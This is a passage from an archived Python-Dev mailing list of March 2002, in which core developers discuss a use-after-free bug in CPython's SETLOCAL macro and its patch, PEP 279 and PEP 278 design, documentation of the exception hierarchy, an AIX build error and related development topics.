authoritative: doc strings and the HTML docs on the web. :-(

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Mar 28 18:46:59 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 13:46:59 -0500
Subject: [Python-Dev] Re: Evil Trashcan and GC interaction
In-Reply-To: Your message of "Thu, 28 Mar 2002 09:53:38 PST."
 <20020328095337.A4436@glacier.arctrix.com>
References: <E16qclg-0005t0-00@usw-sf-web1.sourceforge.net>
 <20020328095337.A4436@glacier.arctrix.com>
Message-ID: <200203281846.g2SIkxm01103@odiug.zope.com>

----------
> Guido:
> > Well, it *also* abuses the ob_refcnt field.

Neil:
> My patch fixes that too (by abusing the gc_prev pointer to chain trash
> together).

I think I haven't seen that patch yet.

> > How about this wild idea (which Tim & I had simultaneously
> > yesterday): change the trashcan code to simply leave the
> > object in the GC generational list, and let the GC code
> > special-case objects with zero refcnt so that they are
> > eventually properly disposed?
> 
> That could probably work.  What happens when the GC is disabled?

The trashcan code is also disabled.  Better not create cycles *or*
deeply nested containers.  They are similar anyway. :-)

> There is insidious bug here.  Andrew helped me walk through it and I
> think we figured it out.  First here's the code to trigger it:
> 
>     import gc
> 
>     class Ouch:
>         def __del__(self):
>             for x in range(20):
>                 list([])
> 
>     def f():
>         gc.set_threshold(5)
>         while 1:
>             t = () # <-- here
>             for i in range(300):
>                 t = [t, Ouch()]
>     f()
> 
> The line marked with "here" is where things go wrong.  t used to refer
> to a long chain of [t, Ouch()].  The SETLOCAL macro in ceval calls
> Py_XDECREF(GETLOCAL(i)).  That starts the deallocation of the list
> structure.  Ouch.__del__ gets called can creates some more objects,
> triggering a collection.  The f frame's traverse gets called and tries
> to follow the pointer for the t local.  It points to memory that was
> freed by _PyTrash_destroy_chain.

Yes, Tim & I figured this out just before lunch, too. :-(

> Hmm, now that I think about it the GC is not needed to trigger the bug:
> 
>     import gc
>     gc.disable()
>     import sys
> 
>     class Ouch:
>         def __del__(self):
>             print f_frame.f_locals['t']
> 
>     def f():
>         global f_frame
>         f_frame = sys._getframe()
>         while 1:
>             t = ()
>             for i in range(300):
>                 t = [t, Ouch()]
> 
>     f()
> 
> I haven't figured out the correct solution yet.  I'm just giving a
> status update. :-)

This is my patch:

Index: ceval.c
===================================================================
RCS file: /cvsroot/python/python/dist/src/Python/ceval.c,v
retrieving revision 2.308
diff -c -r2.308 ceval.c
*** ceval.c	24 Mar 2002 19:25:00 -0000	2.308
--- ceval.c	28 Mar 2002 18:21:09 -0000
***************
*** 554,561 ****
  /* Local variable macros */
  
  #define GETLOCAL(i)	(fastlocals[i])
! #define SETLOCAL(i, value)	do { Py_XDECREF(GETLOCAL(i)); \
! 				     GETLOCAL(i) = value; } while (0)
  
  /* Start of code */
  
--- 554,562 ----
  /* Local variable macros */
  
  #define GETLOCAL(i)	(fastlocals[i])
! #define SETLOCAL(i, value)	do { PyObject *tmp = GETLOCAL(i); \
! 				     GETLOCAL(i) = value; \
!                                      Py_XDECREF(tmp); } while (0)
  
  /* Start of code */
  

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Thu Mar 28 18:51:32 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 28 Mar 2002 12:51:32 -0600
Subject: [Python-Dev] changing password at SF?
In-Reply-To: <15523.25432.711577.217005@anthem.wooz.org>
References: <15523.22255.763582.790464@beluga.mojam.com>
 <15523.25432.711577.217005@anthem.wooz.org>
Message-ID: <15523.26164.964459.412138@beluga.mojam.com>

    SM> (For those of you not involved with the python.org website, this has
    SM> immediate practical implications, because it appears one of the
    SM> python.org machines was broken into.)

    BAW> The machine that was hacked was an ancient Solaris machine that
    BAW> hosted the Ultraseek server, i.e. search.python.org.  I'm sure it
    BAW> was running an ancient version of sshd and Apache, but I doubt that
    BAW> that machine can be used to exploit other python.org machines.  

I suspect you're right (and, no, I didn't enter anything into the auth
form).  Still, this is as good an excuse as any to trot around changing
passwords. :-)

Skip


From skip@pobox.com  Thu Mar 28 18:55:50 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 28 Mar 2002 12:55:50 -0600
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: <15523.24608.182117.600333@anthem.wooz.org>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
 <15522.40314.222139.796707@anthem.wooz.org>
 <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>
 <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
 <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net>
 <15523.12380.586153.516341@12-248-41-177.client.attbi.com>
 <200203281511.g2SFBHx28682@odiug.zope.com>
 <15523.14303.294454.831541@12-248-41-177.client.attbi.com>
 <200203281539.g2SFdFr29053@odiug.zope.com>
 <15523.17698.627234.411338@beluga.mojam.com>
 <15523.18807.704324.666663@anthem.wooz.org>
 <15523.20389.3313.738705@beluga.mojam.com>
 <15523.24608.182117.600333@anthem.wooz.org>
Message-ID: <15523.26422.60791.420533@beluga.mojam.com>

    SM> Try

    BAW>     |     import exceptions
    BAW>     |     help(exceptions)

    BAW> Ah, it would be nice to have this in the library reference manual.

Should be checked in shortly...

Skip


From barry@zope.com  Thu Mar 28 18:56:07 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 28 Mar 2002 13:56:07 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
 <15522.40314.222139.796707@anthem.wooz.org>
 <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>
 <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
 <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net>
 <15523.12380.586153.516341@12-248-41-177.client.attbi.com>
 <200203281511.g2SFBHx28682@odiug.zope.com>
 <15523.14303.294454.831541@12-248-41-177.client.attbi.com>
 <200203281539.g2SFdFr29053@odiug.zope.com>
 <15523.17698.627234.411338@beluga.mojam.com>
 <15523.18807.704324.666663@anthem.wooz.org>
 <15523.20389.3313.738705@beluga.mojam.com>
 <15523.24608.182117.600333@anthem.wooz.org>
 <15523.26422.60791.420533@beluga.mojam.com>
Message-ID: <15523.26439.173918.980862@anthem.wooz.org>

>>>>> "SM" == Skip Montanaro <skip@pobox.com> writes:

    SM> Should be checked in shortly...

Thanks Skip!
-Barry


From skip@pobox.com  Thu Mar 28 19:00:02 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 28 Mar 2002 13:00:02 -0600
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: <200203281845.g2SIjwo01100@odiug.zope.com>
References: <NBBBIOJPGKJEKIECEMCBMEFEMKAA.pobrien@orbtech.com>
 <200203281845.g2SIjwo01100@odiug.zope.com>
Message-ID: <15523.26675.13808.162844@beluga.mojam.com>

    >> >>> import exceptions
    >> >>> print exceptions.__doc__[1109:]

    Guido> Now, in addition, I lament the fact that we've got two disjointly
    Guido> developed sets of documentation, fighting over who can be called
    Guido> authoritative: doc strings and the HTML docs on the web. :-(

Yeah, that's a bit of a bummer.  I'm modifying libexcs.tex right now.  I
will add a comment to exceptions.c noting that the tex source has to be
updated if the hierarchy changes.  Some enterprising person could probably
add a little magic to Doc/Makefile to automatically update the .tex file
from the .c file, but I doubt it will change that often.

I think the more correct way to do this would be to run help(exceptions)
from Doc/Makefile and snatch the class hierarchy that Ping generates for use
in the .tex file.  I'd then advocate that the module doc string simply refer
to the libref docs for the hierarchy.

Skip



From David Abrahams" <david.abrahams@rcn.com  Thu Mar 28 18:54:36 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Thu, 28 Mar 2002 13:54:36 -0500
Subject: [Python-Dev] Code comprehensibility patch
Message-ID: <0ca701c1d68a$7d0e3ac0$0202a8c0@boostconsulting.com>

A long time ago I wrote to Guido suggesting that I might like to submit
some patches to improve the comprehensibility of the Python source. He
was receptive, so my first one is attached (I will also post to the SF
patch manager). I did this in an effort to stop replicating the effort
of understanding how the new descriptor mechanism works on types. I'm
also testing the waters a bit, here: I hope it looks like an improvement
to people, but please let me know if it does not.

Regards,
Dave

--- typeobject.c Mon Dec 17 12:14:22 2001
+++ typeobject.c.new Thu Mar 28 13:46:03 2002
@@ -1186,8 +1186,8 @@
 type_getattro(PyTypeObject *type, PyObject *name)
 {
  PyTypeObject *metatype = type->ob_type;
- PyObject *descr, *res;
- descrgetfunc f;
+ PyObject *meta_attribute, *attribute;
+ descrgetfunc meta_get;

  /* Initialize this type (we'll assume the metatype is initialized) */
  if (type->tp_dict == NULL) {
@@ -1195,34 +1195,50 @@
    return NULL;
  }

- /* Get a descriptor from the metatype */
- descr = _PyType_Lookup(metatype, name);
- f = NULL;
- if (descr != NULL) {
-  f = descr->ob_type->tp_descr_get;
-  if (f != NULL && PyDescr_IsData(descr))
-   return f(descr,
-     (PyObject *)type, (PyObject *)metatype);
- }
+ /* No readable descriptor found yet */
+ meta_get = NULL;
+
+ /* Look for the attribute in the metatype */
+ meta_attribute = _PyType_Lookup(metatype, name);

- /* Look in tp_dict of this type and its bases */
- res = _PyType_Lookup(type, name);
- if (res != NULL) {
-  f = res->ob_type->tp_descr_get;
-  if (f != NULL)
-   return f(res, (PyObject *)NULL, (PyObject *)type);
-  Py_INCREF(res);
-  return res;
+ if (meta_attribute != NULL) {
+  meta_get = meta_attribute->ob_type->tp_descr_get;
+
+  if (meta_get != NULL && PyDescr_IsData(meta_attribute)) {
+            /* Data descriptors implement tp_descr_set to intercept
+             * writes. Assume the attribute is not overridden in
+             * type's tp_dict (and bases): call the descriptor now.
+             */
+   return meta_get(meta_attribute,
+                            (PyObject *)type, (PyObject *)metatype);
+        }
  }

- /* Use the descriptor from the metatype */
- if (f != NULL) {
-  res = f(descr, (PyObject *)type, (PyObject *)metatype);
-  return res;
+ /* No data descriptor found on metatype. Look in tp_dict of this
+     * type and its bases */
+ attribute = _PyType_Lookup(type, name);
+ if (attribute != NULL) {
+        /* Implement descriptor functionality, if any */
+  descrgetfunc local_get = attribute->ob_type->tp_descr_get;
+  if (local_get != NULL) {
+            /* NULL 2nd argument indicates the descriptor was found on
+             * the target object itself (or a base)  */
+   return local_get(attribute, (PyObject *)NULL, (PyObject *)type);
+        }
+
+  Py_INCREF(attribute);
+  return attribute;
  }
- if (descr != NULL) {
-  Py_INCREF(descr);
-  return descr;
+
+ /* No attribute found in local __dict__ (or bases): use the
+     * descriptor from the metatype, if any */
+ if (meta_get != NULL)
+  return meta_get(meta_attribute, (PyObject *)type, (PyObject
*)metatype);
+
+    /* If an ordinary attribute was found on the metatype, return it
now. */
+ if (meta_attribute != NULL) {
+  Py_INCREF(meta_attribute);
+  return meta_attribute;
  }

  /* Give up */

+---------------------------------------------------------------+
                  David Abrahams
      C++ Booster (http://www.boost.org)               O__  ==
      Pythonista (http://www.python.org)              c/ /'_ ==
  resume: http://users.rcn.com/abrahams/resume.html  (*) \(*) ==
          email: david.abrahams@rcn.com
+---------------------------------------------------------------+



From guido@python.org  Thu Mar 28 18:57:46 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 13:57:46 -0500
Subject: [Python-Dev] Re: Evil Trashcan and GC interaction
In-Reply-To: Your message of "Thu, 28 Mar 2002 10:45:14 PST."
 <20020328104514.A4929@glacier.arctrix.com>
References: <20020328095337.A4436@glacier.arctrix.com> <BIEJKCLHCIOIHAGOKOLHEEFECOAA.tim.one@comcast.net>
 <20020328104514.A4929@glacier.arctrix.com>
Message-ID: <200203281857.g2SIvkA01259@odiug.zope.com>

> > #define SETLOCAL(i, value)	do { PyObject *_t = GETLOCAL(i); 	\
> > 				     GETLOCAL(i) = value;		\
> > 				     Py_XDECREF(_t); } while (0)
> 
> That's the same fix Andrew and I had in mind.  My concern is that
> this is probably not the only bug of this type.  The trashcan
> mechanism changes the ordering of object deallocation.  What are the
> chances of other bugs like this lurking somewhere?

I've been aware of this issue for a long time (since Don Beaudry first
pointed it out to me) and I've been pretty consistent in doing the
right thing for globals and for other things that I knew would be
accessible from outside.  Too bad I missed this one, and you're right
that there could be others, but I don't know how to find them
systematically.  Every DECREF call is suspect!

Fixing the GC to only run at specific times isn't enough -- as you
showed, you can exploit this by referencing the frame directly.

The only safe solution is banning __del__, or moving the calls to
__del__ to specific safe times (e.g. at the top of the VM switch).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From gmcm@hypernet.com  Thu Mar 28 19:27:00 2002
From: gmcm@hypernet.com (Gordon McMillan)
Date: Thu, 28 Mar 2002 14:27:00 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: <200203281443.g2SEhtQ28489@odiug.zope.com>
References: Your message of "Thu, 28 Mar 2002 08:55:12 EST." <3CA2DA70.15257.23A7F51C@localhost>
Message-ID: <3CA32834.23020.24D7BC3E@localhost>

On 28 Mar 2002 at 9:43, Guido van Rossum wrote:

[me, on requiring Exception as base class]
> > Hmm. If the rule were (eventually) strictly
> enforced, > could we get the C++-style "stack
> allocated object > whose destructor releases the
> resource" trick > working? 
> 
> (a) I'm not sure I like to make that semantics
> official, since it's
>     hard to implement e.g. in Jython.

Don't blame me - I told JimH he was
wasting his time <wink>!
 
> (b) I'm having another dense day.  How would
> requiring exceptions to inherit from Exception make
> this easier? 

Well, I implicitly hand-waved on a couple steps,
like a total revamp of the sys.exc_* stuff.

Bleh. No, I guess there's no way around the
fact that that dangling reference is either a
blessing or a curse, and which it is depends
on circumstances external to the system.
 
> > (Which would allow killing off the recurrent "with" /
> > "using" thread.)
> 
> In c.l.py?  I'm not aware of it.

We just had one here. Started out on hygenic
macros, but ended up on hiding finally clauses.

-- Gordon
http://www.mcmillan-inc.com/



From martin@v.loewis.de  Thu Mar 28 20:34:36 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 28 Mar 2002 21:34:36 +0100
Subject: [Python-Dev] changing password at SF?
In-Reply-To: <15523.22255.763582.790464@beluga.mojam.com>
References: <15523.22255.763582.790464@beluga.mojam.com>
Message-ID: <m3u1r0zb1f.fsf@mira.informatik.hu-berlin.de>

Skip Montanaro <skip@pobox.com> writes:

> Didn't see this in the Python-SF-FAQ and SF's docs are pretty mum on
> the subject...  How do I change the password I use when ssh-ing into
> SF machines?  I used the [change password] form from my SF web page,
> but when I ssh in to the compile farm it still wants my old
> password.

That may be one of the cron jobs - it may take some time for a
password change to propagate on SF.

In any case, I recommend to upload an SSH public key, so you don't
need to type passwords anymore.

Regards,
Martin


From guido@python.org  Thu Mar 28 21:55:15 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 16:55:15 -0500
Subject: [Python-Dev] PEP 279
Message-ID: <200203282155.g2SLtFh11505@odiug.zope.com>

PEP 279 proposes three separate things.  Comments on each:


1. New builtin: indexed()

   I like the idea of having some way to iterate over a sequence and
   its index set in parallel.  It's fine for this to be a builtin.

   I don't like the name "indexed"; adjectives do not make good
   function names.  Maybe iterindexed()?

   I don't like the start and stop arguments.  If I saw code like

     for i, j in iterindexed("abcdefghij", 5, 10): print i, j

   I would expect it to print

     5 f
     6 g
     7 h
     8 i
     9 j

   while the spec in the PEP would print

     5 a
     6 b
     7 c
     8 d
     9 e

   Very confusing.  I propose to remove the start/stop arguments, *or*
   change the spec to:

     def iterindexed(sequence, start=0, stop=None):
         i = start
         while stop is None or i < stop:
             try:
                 item = sequence[i]
             except IndexError:
                 break
             yield (i, item)
             i += 1

   This reduces the validity to only sequences (as opposed to all
   iterable collections), but has the advantage of making
   iterindexed(x, i, j) iterate over x[i:j] while reporting the index
   sequence range(i, j) -- not so easy otherwise.

   The simplified version is still attractive because it allows
   arbitrary iterators to be passed in:

     def iterindexed(collection):
       i = 0
       it = iter(collection)
       while 1:
         yield (i, it.next())
         i += 1


2. Generator comprehensions

   I don't think it's worth the trouble.  I expect it will take a lot
   of work to hack it into the code generator: it has to create a
   separate code object in order to be a generator.  List
   comprehensions are inlined, so I expect that the generator
   comprehension code generator can't share much with the list
   comprehension code generator.  And this for something that's not
   that common and easily done by writing a 2-line helper function.
   IOW the ROI isn't high enough.


3. Generator exception passing

   This is where the PEP seems weakest.  There's no real motivation
   ("This is a true deficiency" doesn't count :-).  There's no hint as
   to how it should be implemented.  The example has a "return log"
   statement in the generator body which is currently illegal, and I
   can't figure out to where this value would be returned.  The
   example looks like it doesn't need a generator, and if it did, it
   would be easy to stop the generator by setting a global "please
   stop" flag and calling next() once more.  (If you don't like
   globals, make the generator a method of a class and make the stop
   flag an instance variable.)


--Guido van Rossum (home page: http://www.python.org/~guido/)


From aahz@pythoncraft.com  Thu Mar 28 22:06:25 2002
From: aahz@pythoncraft.com (Aahz)
Date: Thu, 28 Mar 2002 17:06:25 -0500
Subject: [Python-Dev] PEP 279
In-Reply-To: <200203282155.g2SLtFh11505@odiug.zope.com>
References: <200203282155.g2SLtFh11505@odiug.zope.com>
Message-ID: <20020328220625.GA28950@panix.com>

On Thu, Mar 28, 2002, Guido van Rossum wrote:
>
>    Very confusing.  I propose to remove the start/stop arguments, *or*
>    change the spec to:
> 
>      def iterindexed(sequence, start=0, stop=None):
>          i = start
>          while stop is None or i < stop:
>              try:
>                  item = sequence[i]
>              except IndexError:
>                  break
>              yield (i, item)
>              i += 1
> 
>    This reduces the validity to only sequences (as opposed to all
>    iterable collections), but has the advantage of making
>    iterindexed(x, i, j) iterate over x[i:j] while reporting the index
>    sequence range(i, j) -- not so easy otherwise.
> 
>    The simplified version is still attractive because it allows
>    arbitrary iterators to be passed in:
> 
>      def iterindexed(collection):
>        i = 0
>        it = iter(collection)
>        while 1:
>          yield (i, it.next())
>          i += 1

How about doing it both ways: if you try to pass start/stop for an
iterator instead of a sequence, you get an AttributeError on
__getindex__.  (I'm not proposing this, just throwing it out as an
idea.  It does make explaining it more difficult, which is an argument
against.)
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Why is this newsgroup different from all other newsgroups?


From tim.one@comcast.net  Thu Mar 28 22:08:43 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 28 Mar 2002 17:08:43 -0500
Subject: [Python-Dev] RE: Evil Trashcan and GC interaction
In-Reply-To: <20020328104514.A4929@glacier.arctrix.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHOEGECOAA.tim.one@comcast.net>

[Neil Schemenauer]
> That's the same fix Andrew and I had in mind.  My concern is that this
> is probably not the only bug of this type.  The trashcan mechanism
> changes the ordering of object deallocation.  What are the chances of
> other bugs like this lurking somewhere?

I'll first expand on what "bug of this type" means:  Any use of any C API
gimmick G is a bug (discovered or not) if (sufficient but not necessary):

1. G can (directly or indirectly) call back into Python code;

and

2A. The code using G leaves a reachable object in an inconsistent
    state; and/or

2B. The code using G assumes (and usually implicitly) that mutable
    portions of a reachable object won't change across its use of G.

I've lost track of how many bugs of this sort we've fixed over the years.
In an odd sense, it's a consequence of the GIL:  a "free threaded"
interpreter would get burned by "this kind of thing" all the time.  The GIL
restricts the possibilities for this kind of damage to specific call sites,
but exactly *which* sites changes across releases.  For a dramatic example,
before cyclic GC was added, PyTuple_New was as harmless as water (too
shallow to drown in, and not moving at lethal speed <wink>).  Now it can
lead to gc and destructor invocation, thread switches, and move list guts
around in memory.  As PyDict_Items learned the hard way, allocating a
2-tuple for a key/value pair can even resize the dict it's looking at.

I'm certain there are more vulnerabilities in the core, but I bet we've
fixed way more than half <wink>.  The SETLOCAL bug is a #2A bug that's been
there forever, yet even know that we know about it, I don't believe it's
been the cause of any mystery-failure I ever heard of.

So rather than asking what the odds are of other bugs like this (my guess is
99+% there's at least one more), I wonder what the odds are that anyone will
write a program that cares.  The odds of someone writing a program like Zope
are too small to measure <wink>.



From guido@python.org  Thu Mar 28 22:22:24 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 17:22:24 -0500
Subject: [Python-Dev] PEP 279
In-Reply-To: Your message of "Thu, 28 Mar 2002 17:06:25 EST."
 <20020328220625.GA28950@panix.com>
References: <200203282155.g2SLtFh11505@odiug.zope.com>
 <20020328220625.GA28950@panix.com>
Message-ID: <200203282222.g2SMMOn11710@odiug.zope.com>

> How about doing it both ways: if you try to pass start/stop for an
> iterator instead of a sequence, you get an AttributeError on
> __getindex__.  (I'm not proposing this, just throwing it out as an
> idea.  It does make explaining it more difficult, which is an argument
> against.)

The more complexity is suggested, the more I like my simplest variant.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From terry@strictlybusinesssystems.net  Thu Mar 28 22:44:37 2002
From: terry@strictlybusinesssystems.net (Terry Orgill)
Date: Thu, 28 Mar 2002 14:44:37 -0800
Subject: [Python-Dev] Hi!
Message-ID: <005401c1d6aa$24a40d40$2101a8c0@customrollforming.com>

This is a multi-part message in MIME format.

------=_NextPart_000_0051_01C1D667.160B4F20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I am seriously considering Python, Tkinter and MySQL for an application =
project.  I have it running on linux and Win98.  My questions are, does =
this sound viable for an accounting application?  Can I give it a =
similar look and feel to existing Windows GUI apps?

------=_NextPart_000_0051_01C1D667.160B4F20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I am seriously considering Python, =
Tkinter and=20
MySQL for an application project.&nbsp; I have it running on linux and=20
Win98.&nbsp; My questions are, does this sound viable for an accounting=20
application?&nbsp; Can I give it a similar look and feel to existing =
Windows GUI=20
apps?</FONT></DIV></BODY></HTML>

------=_NextPart_000_0051_01C1D667.160B4F20--




From python-help@python.org  Thu Mar 28 23:00:28 2002
From: python-help@python.org (Skip Montanaro)
Date: Thu, 28 Mar 2002 17:00:28 -0600
Subject: [Python-Dev] Hi!
In-Reply-To: <005401c1d6aa$24a40d40$2101a8c0@customrollforming.com>
References: <005401c1d6aa$24a40d40$2101a8c0@customrollforming.com>
Message-ID: <15523.41100.544746.487899@beluga.mojam.com>

(help@python.org would be a better place to take these sorts of questions.)

    Terry> I am seriously considering Python, Tkinter and MySQL for an
    Terry> application project.  I have it running on linux and Win98.  My
    Terry> questions are, does this sound viable for an accounting
    Terry> application?  Can I give it a similar look and feel to existing
    Terry> Windows GUI apps?

Yes.  No.  How's that for brevity? ;-)

Yes, you can develop financial and/or database applications using Python.
Tkinter is a reasonable wrapper around the Tk widget set, but Tk doesn't
give you a native look-n-feel on Windows.  You might consider wxPython or
-- built on top of it -- PythonCard:

    http://www.wxpython.org/
    http://pythoncard.sourceforge.net/

wxPython is a wrapper around wxWindows:

    http://www.wxwindows.org/

PythonCard is a project to build a Hypercard-like tool for Python.

-- 
Skip Montanaro (skip@pobox.com - http://www.mojam.com/)


From jeremy@zope.com  Thu Mar 28 23:08:04 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 28 Mar 2002 18:08:04 -0500
Subject: [Python-Dev] Hi!
In-Reply-To: <15523.41100.544746.487899@beluga.mojam.com>
References: <005401c1d6aa$24a40d40$2101a8c0@customrollforming.com>
 <15523.41100.544746.487899@beluga.mojam.com>
Message-ID: <15523.41556.646886.119252@slothrop.zope.com>

>>>>> "SM" == Skip Montanaro <skip@pobox.com> writes:

  SM> (help@python.org would be a better place to take these sorts of
  SM> questions.)

So let's not waste bandwidth on python-dev for the answers!

Jeremy



From Jack.Jansen@oratrix.com  Thu Mar 28 23:16:23 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Fri, 29 Mar 2002 00:16:23 +0100
Subject: [Python-Dev] PEP 278 - finished?
In-Reply-To: <200203252116.g2PLG2M08680@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <D24B52D8-42A1-11D6-9B5A-003065517236@oratrix.com>

On maandag, maart 25, 2002, at 10:16 , Guido van Rossum wrote:
>
> I didn't study the patch too carefully, so I'll ask:  When this is
> disabled through the configure flag, is the 'U' mode still recognized?
> I think it ought to be allowed then (and mean simply text mode) so
> that Python code opening files in universal mode doesn't have to be
> prepared for that situation (it can't use the newlines attribute, but
> that's rarely needed I expect).

Good point. You can now also use "U" mode in 
non-universal-newline-builds.

> Before we go ahead, I'd like MvL and MAL to have a look at the patch
> to see if there would be interactions with their implementation plans
> for PEP 262.
>
> I still think that this PEP is a big hack -- but as big hacks go, it
> seems to have a pretty good payback.
>
> I'm hoping that eventually the parser (really the lexer) will be able
> to open the file in binary mode and recognize all three newline styles
> directly.  That would solve the problems with exec, eval, and compile.
>
> Missing:
>
> - docs for the new open mode and file attributes (!!!)

Done.

> - docs for the --with-universal-newlines flag in README

Done.

> - the linecache and py_compile modules should use mode 'U'

Done.

> (any others?)

Yes, lots of candidates, but I haven't fixed these. uu comes to 
mind, xmllib and htmllib and such, probably lots more...
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From paul@pfdubois.com  Thu Mar 28 23:19:09 2002
From: paul@pfdubois.com (Paul F Dubois)
Date: Thu, 28 Mar 2002 15:19:09 -0800
Subject: [Python-Dev] AIX build problem, 2.2.1c2
Message-ID: <000101c1d6ae$f6d93c50$0f01a8c0@NICKLEBY>

(from LOG.python):
...
building 'bsddb' extension
ld: 0711-317 ERROR: Undefined symbol: .dbopen
ld: 0711-345 Use the -bloadmap or -bnoquiet option to obtain more
information. skipping 
/g/g20/jnjohnso/cdat-3.2/pysrc/build/Python-2.2.1c2/Modules/bsddbmodule.
c 
(build/temp.aix-4.3-2.2/bsddbmodule.o up-to-date) ./Modules/ld_so_aix cc
-bI:Modules/python.exp 
build/temp.aix-4.3-2.2/bsddbmodule.o -L/usr/local/lib 
-L/g/g20/jnjohnso/arf/lib -ldb -o build/lib.aix-4.3-2.2/bsddb.so
WARNING: removing "bsddb" since importing it failed
error: build/lib.aix-4.3-2.2/bsddb.so: No such file or directory
make: *** [sharedmods] Error 1



From tim@zope.com  Thu Mar 28 23:46:40 2002
From: tim@zope.com (Tim Peters)
Date: Thu, 28 Mar 2002 18:46:40 -0500
Subject: [Python-Dev] Status of Python Date/Time proposal?
In-Reply-To: <200203281342.g2SDgn403708@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <BIEJKCLHCIOIHAGOKOLHOEGPCOAA.tim@zope.com>

[Guido]
> ...
> - There are a bunch of methods and constructors that I don't think are
>   very useful.  (E.g. the fromordinal() constructors are unused.)

One of the requirements on the Wiki is "easy" conversion to/from other
calendar systems.  The to-and-from ordinal methods are the only thing we
have arguably addressing the requirement (and "Calendrical Calculations"
uses the very same proleptic Gregorian ordinals as its canonical form, so at
least for readers of that book these are the most useful things to expose).
If you have no need to convert among other calendar systems, then of course
you're not going to use them.

If we took the requirement seriously, I expect it would be better to expose
the underlying ord2ymd and ymd2ord functions (which, unlike Dates, aren't
restricted to the years 1-9999).



From martin@v.loewis.de  Fri Mar 29 01:17:48 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 29 Mar 2002 02:17:48 +0100
Subject: [Python-Dev] AIX build problem, 2.2.1c2
In-Reply-To: <000101c1d6ae$f6d93c50$0f01a8c0@NICKLEBY>
References: <000101c1d6ae$f6d93c50$0f01a8c0@NICKLEBY>
Message-ID: <m3sn6kb29v.fsf@mira.informatik.hu-berlin.de>

"Paul F Dubois" <paul@pfdubois.com> writes:

> (from LOG.python):
> ...
> building 'bsddb' extension
> ld: 0711-317 ERROR: Undefined symbol: .dbopen
> ld: 0711-345 Use the -bloadmap or -bnoquiet option to obtain more
> information. skipping 
> /g/g20/jnjohnso/cdat-3.2/pysrc/build/Python-2.2.1c2/Modules/bsddbmodule.
> c 
> (build/temp.aix-4.3-2.2/bsddbmodule.o up-to-date) ./Modules/ld_so_aix cc
> -bI:Modules/python.exp 
> build/temp.aix-4.3-2.2/bsddbmodule.o -L/usr/local/lib 
> -L/g/g20/jnjohnso/arf/lib -ldb -o build/lib.aix-4.3-2.2/bsddb.so
> WARNING: removing "bsddb" since importing it failed
> error: build/lib.aix-4.3-2.2/bsddb.so: No such file or directory
> make: *** [sharedmods] Error 1

What is the problem you want to report? That bsddb does not build?
That could have many reasons, most likely, your bsddb installation is
broken.

Regards,
Martin



From stephen@xemacs.org  Fri Mar 29 01:56:22 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 29 Mar 2002 10:56:22 +0900
Subject: [Python-Dev] Which doc is authoritative? [was: Deprecating string exceptions]
In-Reply-To: <15523.26675.13808.162844@beluga.mojam.com>
References: <NBBBIOJPGKJEKIECEMCBMEFEMKAA.pobrien@orbtech.com>
 <200203281845.g2SIjwo01100@odiug.zope.com>
